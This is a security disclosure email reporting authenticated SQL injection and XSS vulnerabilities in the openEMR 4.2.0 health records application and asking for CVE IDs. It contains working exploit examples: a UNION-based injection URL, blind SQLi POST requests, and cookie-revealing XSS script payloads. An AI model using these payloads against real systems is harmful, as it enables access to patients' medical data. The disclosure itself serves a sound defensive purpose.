Hi Steve, Josh, vendors, list.

I found multiple reflecting/stored XSS- and SQLi-vulns in electronic health
records and medical practice application openEMR v. 4.2.0.

==================
Technical Details:
==================

All below described vulnerabilities can only be exploited by an already
authenticated user.

=====================
SQL injection vulnerabilities
=====================

An SQL injection vulnerability can be found in the facility_admin.php file
and can be abused by an attacker via the fid-parameter.

Exploit-Example:

http://
{TARGET}/interface/usergroup/facility_admin.php?fid=3%27+and+1=2+union+select+1,user%28%29,3,4,version%28%29,database%28%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+



Another (blind) SQL injection vulnerability resides in the
appt_encounter_report.php an can be abused by an attacker by modifying a
the form_facility-parameter in a POST-request.

Exploit-Example:

POST /openemr-4.2.0/interface/reports/appt_encounter_report.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/openemr-4.2.0/interface/reports/appt_encounter_report.php
Cookie: OpenEMR=p30d0tu19a9r04tjgnuu1oqqq4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

form_facility=3%27+AND+substring(version(),1,1)=%275&form_from_date=2015-01-13&form_to_date=2015-01-13&form_refresh=true


The last (blind) SQL injection vulnerability resides in the
appointments_report.php-file and can be as well abused by an attacker via
crafting own SQL statements in the form_facility-parameter in a POST
request.


Exploit-Example:

POST /openemr-4.2.0/interface/reports/appointments_report.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/openemr-4.2.0/interface/reports/appointments_report.php
Cookie: OpenEMR=p30d0tu19a9r04tjgnuu1oqqq4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 199

form_facility=3%27+and+substring(version(),1,1)=%274&form_provider=&form_from_date=2015-01-13&form_to_date=2015-01-13&form_apptstatus=&form_apptcat=ALL&form_orderby=comment&patient=&form_refresh=true


==============
XSS vulnerabilities
==============

A reflecting XSS-vulnerability can be found in user_admin.php via the
id-parameter.

Exploit-Example:

http://
{TARGET}interface/usergroup/user_admin.php?id=4%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E



A stored XSS vulnerability resides in add_edit_event.php via the
input-field "form_comments" and is executed in appointments_report.php.


Exploit-Example:

<script>alert(document.cookie)</script>


Can I get a CVE-ID / CVE-IDs for my findings?

Thank you very much.
